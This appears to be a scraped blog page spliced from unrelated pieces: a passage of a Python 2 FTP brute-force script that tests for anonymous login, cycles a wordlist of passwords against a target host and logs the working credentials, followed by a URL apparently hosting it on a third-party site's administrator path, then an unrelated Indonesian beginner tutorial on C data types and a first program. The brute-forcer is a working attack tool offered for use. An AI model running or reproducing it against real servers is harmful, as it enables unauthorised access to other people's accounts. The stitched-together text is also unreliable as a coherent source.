gunslinger[at]devilzc0de[dot]com
_____________________________________________________________________________________________________________________________________________
'''

option = '''
Usage: ./ftpbrute.py [options]
Options: -t, --target    <hostname/ip>   |   Target to bruteforcing
         -u, --user      <user>          |   User for bruteforcing
         -w, --wordlist  <filename>      |   Wordlist used for bruteforcing
         -h, --help      <help>          |   print this help

Example: ./ftpbrute.py -t 192.168.1.1 -u root -w wordlist.txt

'''

file = open(log, "a")

def MyFace() :
	os.system(SysCls)
	print face
	file.write(face)

def HelpMe() :
	MyFace()
	print option
	file.write(option)
	sys.exit(1)

for arg in sys.argv:
	if arg.lower() == '-t' or arg.lower() == '--target':
            hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-u' or arg.lower() == '--user':
            user = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-w' or arg.lower() == '--wordlist':
            wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
	elif arg.lower() == '-h' or arg.lower() == '--help':
        	HelpMe()
	elif len(sys.argv) <= 1:
		HelpMe()

def checkanony() :
	try:
		print "\n[+] Checking for anonymous login\n"
		ftp = FTP(hostname)
		ftp.login()
		ftp.retrlines('LIST')
		print "\n[!] Anonymous login successfuly !\n"
		ftp.quit()
	except Exception, e:
        	print "\n[-] Anonymous login unsuccessful...\n"
		pass

def BruteForce(word) :
	print "[?]Trying :",word
	file.write("\n[?]Trying :"+word)
     	try:
		ftp = FTP(hostname)
		ftp.login(user, word)
		ftp.retrlines('list')
		ftp.quit()
		print "\n\t[!] Login Success ! "
		print "\t[!] Username : ",user, ""
		print "\t[!] Password : ",word, ""
		print "\t[!] Hostname : ",hostname, ""
		print "\t[!] Log all has been saved to",log,"\n"
		file.write("\n\n\t[!] Login Success ! ")
		file.write("\n\t[!] Username : "+user )
		file.write("\n\t[!] Password : "+word )
		file.write("\n\t[!] Hostname : "+hostname)
		file.write("\n\t[!] Log all has been saved to "+log)
		sys.exit(1)
   	except Exception, e:
        	#print "[-] Failed"
		pass
	except KeyboardInterrupt:
		print "\n[-] Aborting...\n"
		file.write("\n[-] Aborting...\n")
		sys.exit(1)

MyFace()
print "[!] Starting attack at %s" % time.strftime("%X")
print "[!] System Activated for brute forcing..."
print "[!] Please wait until brute forcing finish !\n"
file.write("\n[!] Starting attack at %s" % time.strftime("%X"))
file.write("\n[!] System Activated for brute forcing...")
file.write("\n[!] Please wait until brute forcing finish !\n")
checkanony()

try:
	preventstrokes = open(wordlist, "r")
	words 	       = preventstrokes.readlines()
	count          = 0
	while count < len(words):
		words[count] = words[count].strip()
		count += 1
except(IOError):
  	print "\n[-] Error: Check your wordlist path\n"
	file.write("\n[-] Error: Check your wordlist path\n")
  	sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] Server:",hostname
print "[+] User:",user
print "[+] BruteForcing...\n"
for word in words:
	BruteForce(word.replace("\n",""))

file.close()


http://www.skyway.co.id/administrator/components/ftpbrute.py


C chapter 1

yah, disini saya akan berbagi tentang pemrograman c dari mulai yang paling basic sampai kita lebih serius…
ok, mari kita mulai…

Apa itu C?
C adalah bahasa pemrograman yang berbasis kompiler mendukung tingkat tinggi dan tingkat rendah pernyataan untuk berinteraksi langsung dengan hardware.

Mengapa bahasa C ?

- Simple, serbaguna, bahasa tujuan umum
- Program yang cepat dan efisien
- Apakah menjadi kaya set operator
- Lebih umum dan tidak memiliki batasan
- Dapat dengan mudah memanipulasi dengan bit, byte dan alamat
- Varieties tipe data yang tersedia
- Kompilasi terpisah dari fungsi yang mungkin dan fungsi-fungsi tersebut dapat dipanggil oleh setiap program C
- Blok-bahasa terstruktur
- Dapat diterapkan dalam bidang-bidang pemrograman Sistem seperti sistem operasi, compiler & Interpreters, perakitan dan sebagainya,

Sejarah bahasa C

Tahun Bahasa Di develop oleh Keterangan
1960 ALGOL International Committee Terlalu umum, terlalu abstrak
1963 CPL Cambridge University Susah dipelajari, dan sulit untuk di implementasikan
1967 BCPL Martin Richards Hanya bisa berurusan dengan masalah-masalah tertentu
1970 B Ken Thompson AT & T Bell Labs Hanya bisa berurusan dengan masalah-masalah tertentu
1972 C Dennis Ritchie AT & T Bell Labs BCPL hilang secara umum dan B dipulihkan
Early 80’s C++ Bjarne Stroustrup AT & T Memperkenalkan OOP pada

Konstanta

Sebuah konstanta adalah nilai tetap, yang tidak pernah berubah selama eksekusi dari sebuah program.
Konstanta dapat dibagi menjadi dua kategori utama:

1. Primer Konstanta (Primary constants)
2. Sekunder Konstanta (Secondary constants)

Jenis data (data type)

Jenis data yang variabel yang digunakan dapat terus dalam bahasa pemrograman dikenal sebagai tipe data.

Tipe data dasar adalah sebagai berikut:

1. Tipe Data numerik
2. Non-Numeric Data Type
3. Tipe Data integer
4. Real Data Type
5. Logical Data Type
6. Dihitung Data Type

1. Tipe data numeric : Semuanya berhubungan dengan angka. Angka-angka ini dapat dari integer (int) atau tipe data real (float) tipe data.

2. Data type non-numeric : Semuanya berhubungan dengan karakter. Setiap karakter atau kelompok karakter yang tertutup dalam tanda kutip akan dianggap sebagai non-numerik atau tipe data karakter.

3. Tipe data integer : berhubungan dengan integer atau bilangan bulat. Semua operasi aritmatika dapat dicapai melalui tipe data ini dan hasilnya bilangan bulat lagi.

4. Tipe data real  : berhubungan dengan bilangan real atau data numerik, yang meliputi pecahan. Semua operasi aritmatika dapat dicapai melalui tipe data ini dan hasilnya dapat tipe data nyata (real).

5. Tipe data Logical atau Boolean : hanya salah satu dari dua nilai TRUE atau FALSE pada satu waktu. Dalam komputer, 1 (satu) disimpan untuk TRUE dan 0 (nol) disimpan untuk FALSE.

6. Tipe data enumerate : Berisi data terstruktur dikelompokkan bersama-sama untuk menghasilkan jenis baru. Jenis data ini tidak standar dan kami biasanya didefinisikan oleh pengguna.
Ex.

week_days = ( "senin", "selasa", "rabu", "kamis", "jumat", "sabtu", "minggu");
Arah = ( "Utara", "Timur", "Barat", "Selatan");

Berikut adalah table range tipe data.

Keyword Range: low Range: high Digits of precision Bytes of memory Format-ID
char -128 127 n/a 1 %c
int -32, 768 32, 767 N/a 2 (on 16 bit processor)
%d
long -2,147, 483, 648 2, 147, 483, 647 N/a 4 %ld
float 3.4 x 10-38 3.4 x 1038 7 4 %f
double 1.7 x 10-308 1.7 x 10308 15 8 %lf
long double 3.4 x 10-4932 3.4 x 10-4932 19 10 %Lf

CATATAN: range yang diperlukan untuk sign dan unsigned int adalah identik dengan mereka yang sign dan unsigned short.
Pada kompiler untuk 8 dan 16 bit prosesor (termasuk prosesor Intel x86 mengeksekusi dalam mode 16 bit, seperti di bawah MS-DOS), sebuah int biasanya 16 bit dan memiliki representasi yang sama sebagai pendek. Pada kompiler untuk 32 bit dan prosesor yang lebih besar (termasuk prosesor Intel x86 melaksanakan di 32 bit mode, seperti Win32 atau Linux) yang biasanya int 32 bit panjang dan memiliki reseprentasi yang sama seperti yang lama.

Saya ingin Anda lihat halaman ini untuk informasi lebih lanjut tentang jenis int untuk berbagai prosesor:

Referensi: http://www.jk-technology.com/c/inttypes.html

Ok, kita lanjut ke program pertama .

#include <stdio.h>
int main(int argc, char *argv[])
{
 printf("First C program !!\n");
 return 0;
}

lalu save program tersebut contoh dengan nama : program1.c
setelah itu, silahkan buka jendela terminal lalu ketik : gcc -o program1 program1.c
lalu run program dengan mengetikan : ./program1
jika program tersebut menghasilkan seperti ini

First C program !!

Selamat ! anda adalah programmer c tingkat 0 (nol)

ok, sekarang mari kita jelaskan kode line demi line (baris demi baris)

di line 1 -> #include <stdio.h> adalah bagian kompiler yang memberitahu sistem perpustakaan yang diperlukan dan file header sedang direferensikan oleh program ini.
Dalam kasus kami “printf” digunakan dan ini didefinisikan dalam header stdio.h.
stdio.h disebut juga sebagai Standar input output.
di line 2 -> int main(int argc, char *argv[]) adalah bagian awal dari program (int main),
lalu (int argc) adalah sebuah argumen untuk fungsi utama (main) yang merupakan integer menghitung jumlah
argumen string karakter berlalu dalam “char *argv []” (daftar pointer ke string karakter) yang
mungkin akan dilewatkan pada baris perintah ketika kita menjalankan program.
Suatu pointer untuk beberapa hal adalah nama yang diberikan ke alamat memori untuk jenis tipe data.
Kita dapat memiliki pointer ke integer: int * iptr, atau angka floating point: float * fPtr.
Setiap daftar hal-hal yang dijelaskan oleh [], dan jika kita tahu persis seberapa besar daftar ini kita dapat menyatakan itu sebagai [200].
Dalam kasus ini kita tahu bahwa argumen kedua adalah daftar pointer ke string karakter.
di line 3 dan 6 -> { } adalah sebuah awal dan akhir dari program utama yang akan kita jalankan.
yah, mungkin jika anda pernah menjadi programmer pascal itu seperti BEGIN dan END.
dan statement program yang berada didalamnya.
di line 4 -> printf(“First C program !!\n”); adalah kita memanggil library stdio.h untuk printf .
lalu mencetak “First C program !!”
di line 5 -> return 0; adalah kita memberi tahu system untuk akhir program dan mengembalikan ke nol (0).
return 0; biasa dipakai untuk supaya kita mengetahui program itu berjalan dengan baik atau tidak.

ok sekian dulu dari saya untuk c chapter 1 akan saya lanjut chapter 2 dilain waktu karena keterbatasan energi hehehehe…



Follow

Get every new post delivered to your Inbox.